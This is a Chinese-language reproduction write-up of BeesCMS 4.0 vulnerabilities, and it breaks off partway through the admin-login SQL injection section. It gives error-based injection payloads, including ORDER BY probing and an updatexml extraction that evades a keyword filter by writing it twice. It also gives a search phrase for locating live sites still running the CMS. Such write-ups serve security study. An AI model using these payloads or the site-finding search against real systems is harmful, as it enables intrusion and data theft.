BeesCMS4.0多处漏洞复现

前言

本次复现的漏洞有：

1. 后台报错注入漏洞
2. 变量覆盖漏洞
3. 文件上传漏洞

Beescms v4.0由于后台登录设计缺陷以及代码防护缺陷导致存在bypass全局防护的SQL注入、文件上传、变量覆盖漏洞。现在依然有许多企业选用BeesCMS4.0，百度搜powerd by BEESCMS © 2010-2015 www.beescms.com 还是有很多站的：

漏洞复现

后台报错注入

正常输入后台账号密码提示密码错误：

输入admin’报错，此处为显错注入：

admin'

使用order by 10探测字段长度，最终探测长度为5

order by 5#

order by 6#

爆数据库名时and被过滤，采用空格+双写绕过：

admin' an and d updatexml(1,concat(0x7e,select database(),0x7e),1)#